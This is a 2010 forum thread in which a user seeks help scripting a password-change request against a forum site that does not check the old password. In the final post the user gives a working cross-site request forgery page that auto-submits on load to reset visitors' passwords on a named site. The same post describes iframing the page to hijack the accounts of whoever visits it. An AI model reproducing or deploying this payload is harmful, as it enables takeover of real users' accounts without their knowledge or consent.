Zoklet.net

Go Back   Zoklet.net > Technology > Technophiles and Technophiliacs > Codes of all kinds

Reply
 
Thread Tools
  #1  
Old 01-07-2010, 05:28 PM
a334jv2df's Avatar
a334jv2df a334jv2df is offline
Duke
 
Join Date: Jan 2009
Thanks: 657
Thanked 737 Times in 513 Posts
Send a message via ICQ to a334jv2df Send a message via AIM to a334jv2df Send a message via Yahoo to a334jv2df
Default Need curl help! Extremely frustrated!

CURL support enabled
CURL Information libcurl/7.13.2 OpenSSL/0.9.7e zlib/1.2.2 libidn/0.5.13

I found a website with a "change password" form that doesn't require the previous password to change it. Here is what the form looks like:

<form action="http://www.edit.com/edit/control.php?1" method="POST">
<input type="hidden" name="panel" value="password" />
<input type="hidden" name="forum_id" value="1" />
<input type="password" name="password" size="30" value="" />
<input type="password" name="password2" size="30" value="" />
<input type="submit" value=" Submit " />
</form>

I coped this form, uploaded it to my server, logged into the website, and used it to change my password (so I changed my password from a foreign server). Now, I'm trying to write a cURL script that automatically changes a users password if he is logged in. Here is my script:

Code:
<?php
$fields = array (
    'panel' => 'email',
    'forum_id' => '1',
    'password' => 'new',
    'password2' => 'new'
);

$url = 'http://www.edit.com/edit/control.php?1';

$ch = curl_init($url);

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_REFERER, "http://www.edit.com/edit/control.php?1,panel=password"); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$result = curl_exec($ch);

echo $result;

?>
It keeps returning 1. I don't understand what I'm doing wrong. If I can send post data with a html form surely I can send it using curl.

Last edited by a334jv2df; 01-09-2010 at 05:08 PM.
Reply With Quote
  #2  
Old 01-07-2010, 06:03 PM
a334jv2df's Avatar
a334jv2df a334jv2df is offline
Duke
 
Join Date: Jan 2009
Thanks: 657
Thanked 737 Times in 513 Posts
Send a message via ICQ to a334jv2df Send a message via AIM to a334jv2df Send a message via Yahoo to a334jv2df
Default Re: Need curl help! Extremely frustrated!

Code:
<html>
<head>
<title></title>
</head>

<body>
<?php
$fields = array (
    'panel' => 'user',
    'forum_id' => '1',
    'password' => 'new',
    'password2' => 'new'
);

$url = 'http://www.EEE.com/EEE/control.php?1';

$ch = curl_init($url);

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_REFERER, "http://www.EEE.com/EEE/control.php?1,panel=password"); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$result = curl_exec($ch);

curl_close($ch);

echo $result;

?>
</body>
For some reason it keeps redirecting me to the log in page (even though I'm already logged in). I don't understand why a simple html form would work but my curl script doesnt
Reply With Quote
  #3  
Old 01-11-2010, 02:23 PM
The Cheshire Cat The Cheshire Cat is offline
AFK
 
Join Date: Jan 2009
Location: Everywhere
Thanks: 469
Thanked 939 Times in 591 Posts
Send a message via MSN to The Cheshire Cat
Arrow Re: Need curl help! Extremely frustrated!

I'm going to move this to codes of all kinds. I think you'll get a bit better of a response there.
__________________
Quote:
Originally Posted by -SpectraL View Post
Some people just like to be argumentative about stuff nobody should really give a fuck about.
Reply With Quote
  #4  
Old 01-17-2010, 05:49 PM
Zok's Avatar
Zok Zok is offline
Autonomato-noma-napoton
 
Join Date: Dec 2006
Location: Ohio
Thanks: 64
Thanked 878 Times in 342 Posts
Default Re: Need curl help! Extremely frustrated!

You need to post the url for the place you're trying to log into - or the code to the form, at least - because it's possible that you're missing fields.

It's also possible that it's rejecting your script because you're user-agent is something it doesn't like.

It's ALSO possible that the server is setting a session variable when you visit the login page. When you try to log in it checks to see if that session variable exists. Since your php script never visited the login page, it didn't register.

There are tons of possible reasons this isn't working...
__________________
There used to be a bunch of assholes that posted on this part of zoklet here... But we systematically removed them like you would any kind of termite or roach.
Reply With Quote
  #5  
Old 01-17-2010, 08:31 PM
a334jv2df's Avatar
a334jv2df a334jv2df is offline
Duke
 
Join Date: Jan 2009
Thanks: 657
Thanked 737 Times in 513 Posts
Send a message via ICQ to a334jv2df Send a message via AIM to a334jv2df Send a message via Yahoo to a334jv2df
Default Re: Need curl help! Extremely frustrated!

Quote:
Originally Posted by Zok View Post
You need to post the url for the place you're trying to log into - or the code to the form, at least - because it's possible that you're missing fields.
Impossible because it works when I submit the data from an html form on my server. Same fields regardless.

Quote:
Originally Posted by Zok View Post
It's also possible that it's rejecting your script because you're user-agent is something it doesn't like.
Impossible because it works when I submit the data from an html form on my server. Same user agent regardless.

Quote:
Originally Posted by Zok View Post
It's ALSO possible that the server is setting a session variable when you visit the login page. When you try to log in it checks to see if that session variable exists. Since your php script never visited the login page, it didn't register.
Impossible because it works when I submit the data from an html form on my server. The session variable isn't set till the log in is processed (well, before actually, but on the page that processes the data)

I originally posted this in the Securities forum because I'm not looking for a fix in my code (although I agree I'll get a better response here.. It's more of a theory. Why would the data when when it's send from a foreign html form but not from a cURL script?

It can be done with html/javascript anyway. I didn't post the link to begin with because I wanted to figure this out before any of you fucked it up, but I guess I'll post it now

Code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
    <head>
        <title>Untitled Document</title>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><script language="javascript">
	function subForm() {
		document.forms["mainForm"].submit();
	}
</script>
    </head>
    <body onLoad="javascript: subForm()" spellcheck="false">
        <form action="http://www.dlxsf.com/dlxsfmb/control.php?1" method="post" id="mainForm">
            <input type="hidden" value="password" name="panel" /> 
            <input type="hidden" value="1" name="forum_id" />  
            <input type="hidden" value="CyborgT" name="password" /> 
            <input type="hidden" value="CyborgT" name="password2" />
        </form>
    </body>
</html>
If you write a script that changes their email too you'll know who has visited each page (it will send a confirmation before changing the email address in the database with the username). Then, create an index, iframe the above page, and log into accounts

Last edited by a334jv2df; 01-17-2010 at 08:33 PM.
Reply With Quote
Reply

Bookmarks

Tags
curl, extremely, frustrated

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
Cannot get cURL to work in WAMP Server Mutant Funk Drink Technophiles and Technophiliacs 9 10-20-2009 02:20 AM
I am frustrated elf omg Bat Country 3 08-16-2009 09:30 AM
Want to download php, mysql, cURL a334jv2df Technophiles and Technophiliacs 3 06-01-2009 09:58 PM
Does anyone Know how to tell Curl or php to delete cookies? Craigslist.org Codes of all kinds 7 03-19-2009 02:59 AM


All times are GMT. The time now is 12:27 PM.


Hot Topics
On IRC
Users: 4
Messages/minute: 0
Topic: "http://www.zoklet.net/..."
Users: 22
Messages/minute: 0
Topic: "buttpee"
Users: 10
Messages/minute: 0
Topic: "11:37 < mib_i8mfin> so wie ich die website hier sehe las..."
Advertisements
Your ad could go right HERE! Contact us!

Powered by vBulletin® Version 3.8.1
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.